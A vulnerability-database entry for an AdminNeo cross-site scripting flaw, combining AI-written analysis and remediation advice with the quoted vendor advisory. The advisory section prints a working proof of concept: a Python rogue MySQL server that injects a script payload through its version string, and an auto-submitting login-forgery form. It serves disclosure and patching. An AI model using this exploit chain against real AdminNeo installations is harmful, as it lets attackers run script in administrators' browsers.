Skip to main content

AdminNeo CVE-2026-96632

HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-10-30 https://github.com/adminneo-org/adminneo GHSA-rx7m-wxwq-vxr9
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Lure admin browser to attacker page
  2. Delivery
    Auto-submit Login-CSRF to rogue MySQL server
  3. Exploit
    Rogue server returns crafted version string
  4. Execution
    Payload breaks out of nonced script tag
  5. Impact
    Execute attacker JavaScript in AdminNeo origin

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Target must run AdminNeo prior to 5.5.1 using the MySQL driver. The attacker must control a MySQL server that is network-reachable from the victim's browser/AdminNeo and that returns a crafted version string which breaks out of the JavaScript string in the initSyntaxHighlighting() call; because the script tag carries a valid CSP nonce, the injected code executes even under CSP. No prior authentication to AdminNeo is required because the login form has no CSRF token, so an attacker page can auto-submit the login (Login CSRF). LIMITING FACTORS: exploitation requires victim interaction - the admin must load the attacker's page (or otherwise submit the rogue login) - and an attacker-controlled DB server reachable from the victim; it does not work against an unmanipulated, legitimate MySQL backend, and it is fixed in 5.5.1.

Impact

No CVSS vector, EPSS score, or KEV entry is provided in the input, so quantitative exploitation signals are absent and the exploitation status is 'no public exploit identified in a structured feed' - however, a complete proof-of-concept (an 80-line rogue MySQL server plus a Login-CSRF auto-submit form) is published inside the GHSA advisory itself, so this is clearly past the theoretical stage. The vuln.today Decision label is 'this_week', indicating a prompt-but-not-emergency priority consistent with a patched, medium-severity client-side flaw rather than mass-exploited server RCE. CWE-79 (XSS) is confirmed by the GHSA advisory and the fix (adding js_escape() around the version/flavor strings) is confirmed by commit 2c86406 in release 5.5.1. The real-world risk is moderate and conditional: exploitation yields JavaScript execution in the AdminNeo origin (CSP nonce bypass), not direct server compromise, and it requires luring a victim admin into connecting their AdminNeo instance to an attacker-controlled MySQL server. The 'RCE' tag overstates impact - the 'arbitrary code' executed is browser-side JavaScript, not native code on the server; treat this as a high-impact XSS, not remote server code execution. The absence of EPSS/KEV is an absence of signal, not evidence of safety, given a working PoC is in the public advisory.

Exploit ScenarioDerived

An attacker stands up a rogue MySQL server (per the published Python PoC) that returns a crafted version string such as "1');alert(origin)//" and hosts a web page that auto-submits AdminNeo's CSRF-token-less login form pointed at that server. When a victim who can reach AdminNeo visits the page, their browser forces AdminNeo to connect to the rogue server, which injects the payload into a nonce-bearing <script> tag so attacker JavaScript runs in the AdminNeo origin despite CSP. A full working proof-of-concept is published in the advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Oct 30, 2026

AdminNeo before 5.5.1 renders the database server's version string inside an inline <script> tag that carries a valid CSP nonce, without escaping, so a rogue MySQL server can return a crafted version string such as "1');alert(origin)//" that closes the JavaScript string and runs arbitrary script in the administrator's browser - the nonce means Content Security Policy does not block it. The vector is CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N: unauthenticated (PR:N) but requiring victim interaction (UI:R), because the login form carries no CSRF token and an attacker page can auto-submit a login pointing at the attacker's server. Administrators are advised to patch this week; the vendor advisory itself publishes a complete rogue MySQL server script and Login-CSRF form as proof of concept, though no KEV entry, EPSS score, or independently confirmed working exploit was supplied in the structured feeds. A vendor patch exists: AdminNeo 5.5.1.

RemediationAI

Vendor-released patch: AdminNeo 5.5.1 - upgrade the Composer package adminneo-org/adminneo to 5.5.1 or later, which applies js_escape() to both the server version and flavor strings in admin/core/Admin.php (commit 2c86406808bc2517efb35f5595b3a05761c2eacd; see the advisory at https://github.com/adminneo-org/adminneo/security/advisories/GHSA-rx7m-wxwq-vxr9 and the release at https://github.com/adminneo-org/adminneo/releases/tag/v5.5.1). The advisory documents no workaround or configuration toggle, and the fix is the only complete remediation it describes, since the defect is in how the trusted, nonce-bearing inline script is assembled rather than in an optional feature that can be switched off. Because the injection is fed by whatever database server the client connects to and the login form carries no CSRF token, treat any exposure of AdminNeo to untrusted or attacker-supplied connection targets as the condition that must be removed until the upgrade is applied, and note that this advisory is scheduled as this-week priority rather than an emergency.

Affected Packages

composer adminneo-org/adminneo fix: 5.5.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in composer

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

AdminNeo is a PHP-based web database administration front end (Composer package adminneo-org/adminneo), a fork/derivative of Adminer, and inherits a defect originally reported against Adminer (GHSA-h6jr-7pr6-grgj). The root cause is CWE-79: in admin/core/Admin.php the navigation printer builds a string passed to the script() helper, which emits <script nonce="VALID_NONCE">…</script> containing initSyntaxHighlighting('<version>', '<flavor>', autocompletion). The values come from Connection::get()->getVersion() and Connection::get()->getFlavor(), which are populated from the MySQL server greeting - the protocol-version-10 handshake packet whose second field is a NUL-terminated server version string. Because a MySQL client necessarily trusts the server it connects to for that field, an attacker-controlled server can supply a version string containing a single quote, a closing parenthesis and JavaScript, breaking out of the quoted string literal. Since the surrounding <script> element is emitted by the application with a legitimate CSP nonce, the injected payload executes under the site's own nonce and the CSP provides no mitigation - the trust boundary between 'server-supplied metadata' and 'inline script content' was not enforced. The upstream fix (commit 2c86406808bc2517efb35f5595b3a05761c2eacd, released in 5.5.1) wraps both getVersion() and getFlavor() in js_escape().

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

vuln.today AI 6.1 MEDIUM

Login CSRF removes the auth requirement (PR:N) but the victim must submit the rogue login (UI:R); XSS runs in the browser so scope changes (S:C) with limited confidentiality/integrity and no availability impact.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

DescriptionCVE.org

Summary

AdminNeo inserts the database server's version string into a <script> tag that carries a valid CSP nonce, without any sanitization. A rogue database server can return a crafted version string that breaks out of the JavaScript context and executes arbitrary code. Because the script tag already has a valid nonce, the browser's Content Security Policy does not block execution. No authentication is required when combined with Login CSRF.

Originally reported in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-h6jr-7pr6-grgj

Prerequisites

  • Target runs AdminNeo
  • Attacker controls a reachable MySQL server (a 80-line Python script)

Root Cause

admin/core/Admin.php, lines 1285-1286:

php
echo script("let autocompletion;\nwindow.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('" .
    Connection::get()->getVersion() . "', '" . Connection::get()->getFlavor() . "', autocompletion); });");

script() wraps the output in <script nonce="VALID_NONCE">. Return value of Connection::get()->getVersion() is not escaped.

Steps To Reproduce

1. Build the environment

Dockerfile (AdminNeo):

dockerfile
FROM php:8.3-cli
COPY adminneo.php /var/www/adminneo.php
WORKDIR /var/www
EXPOSE 8081
CMD ["php", "-S", "0.0.0.0:8081"]

rogue_mysql.py (fake MySQL server that accepts any login):

python
import socket, struct, threading

PAYLOAD = "1');alert(origin)//"
# Capability flags the client expects
CAP_PROTOCOL_41     = 0x0200
CAP_SECURE_CONNECTION = 0x8000
CAP_PLUGIN_AUTH     = 0x00080000
CAPS_LOW  = CAP_PROTOCOL_41 | CAP_SECURE_CONNECTION
CAPS_HIGH = (CAP_PLUGIN_AUTH >> 16)

def make_packet(seq, payload):
    length = struct.pack("<I", len(payload))[:3]
    return length + bytes([seq]) + payload

def make_greeting(version_str):
    pkt  = b"\x0a"
# protocol version 10
    pkt += version_str.encode() + b"\x00"
# version string
    pkt += struct.pack("<I", 1)
# connection id
    pkt += b"\x41" * 8
# auth plugin data part 1
    pkt += b"\x00"
# filler
    pkt += struct.pack("<H", CAPS_LOW)
# capability flags lower
    pkt += b"\x21"
# charset utf8
    pkt += struct.pack("<H", 0x0002)
# status flags
    pkt += struct.pack("<H", CAPS_HIGH)
# capability flags upper
    pkt += b"\x15"
# auth data length (21)
    pkt += b"\x00" * 10
# reserved
    pkt += b"\x41" * 12 + b"\x00"
# auth plugin data part 2
    pkt += b"mysql_native_password\x00"
# auth plugin name
    return make_packet(0, pkt)

def make_ok(seq):
    pkt  = b"\x00"
# OK marker
    pkt += b"\x00"
# affected rows
    pkt += b"\x00"
# last insert id
    pkt += struct.pack("<H", 0x0002)
# status flags
    pkt += struct.pack("<H", 0)
# warnings
    return make_packet(seq, pkt)

def make_eof(seq):
    pkt  = b"\xfe"
    pkt += struct.pack("<H", 0)
# warnings
    pkt += struct.pack("<H", 0x0002)
# status flags
    return make_packet(seq, pkt)

def make_err(seq, msg=b"not supported"):
    pkt  = b"\xff"
    pkt += struct.pack("<H", 1045)
    pkt += b"#HY000"
    pkt += msg
    return make_packet(seq, pkt)

def handle(conn):
    conn.sendall(make_greeting(PAYLOAD))
    try:
        conn.recv(4096)
# client login request
    except Exception:
        conn.close()
        return
    conn.sendall(make_ok(2))
# accept login
# Answer any queries Adminer sends after login
    while True:
        try:
            data = conn.recv(4096)
            if not data:
                break
            seq = data[3] + 1
# Send ERR for all queries (Adminer still has the version in memory)
            conn.sendall(make_err(seq))
        except Exception:
            break
    conn.close()

srv = socket.socket()
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", 3307))
srv.listen(5)
print("[*] Rogue MySQL on :3307 - version: " + PAYLOAD)
while True:
    conn, addr = srv.accept()
    print(f"[+] Connection from {addr}")
    threading.Thread(target=handle, args=(conn,)).start()
shell
# Terminal 1: start Adminer
docker build -t adminer-xss .
docker run -d -p 8081:8081 --name adminer-xss adminer-xss
# Terminal 2: start rogue MySQL
python3 rogue_mysql.py

2. Trigger the XSS

Open a browser and navigate to http://localhost:8081/adminneo.php:

  1. Select driver: MySQL
  2. Server: HOST_IP:3307 (IP of the machine running rogue_mysql.py)
  3. Username: root
  4. Password: x
  5. Click Login.

The rogue server accepts the login. AdminNeo renders the dashboard and includes:

html
<script nonce="REAL_NONCE">let autocompletion;
window.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('1');alert(origin)//', 'mysql', autocompletion); });</script>

The browser executes alert(origin) with full CSP bypass because the script tag carries a valid nonce.

3. Trigger it via Login CSRF

The login form has no CSRF token. An attacker page auto-submits the login, forcing the victim's browser to connect to the rogue server:

html
<form id="f" method="POST" action="http://TARGET/adminneo.php">
  <input name="auth[driver]" value="mysql">
  <input name="auth[server]" value="ROGUE_IP:3307">
  <input name="auth[username]" value="root">
  <input name="auth[password]" value="x">
</form>
<script>document.getElementById('f').submit()</script>

Collaborator Request

This vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @Voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!

Technical POC Analysis

CWE-79 (Improper Neutralization of Input During Web Page Generation), chained with CWE-352 (the missing CSRF token on the login form, cited in the upstream Adminer advisory GHSA-h6jr-7pr6-grgj).

Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.

Executive ViewAI

Why It Matters

A high-severity cross-site scripting vulnerability in AdminNeo (before 5.5.1) allows a malicious MySQL server to execute arbitrary script in an administrator's browser, potentially leading to session compromise or data theft. Administrators who use AdminNeo to manage databases are at risk, and the vendor advisory provides a proof-of-concept, making exploitation easier. Leadership should prioritize patching to prevent unauthorized access to sensitive database management interfaces.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

Prevalence
Low
niche Adminer fork, limited enterprise deployment footprint
Threat Intel
1
1 source
Data Quality
2 sources
Confidence: Low
CVE.org GHSA GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS N/A
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Affected Products (CPE)CVE.org

pkg:composer/adminneo-org_adminneo

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy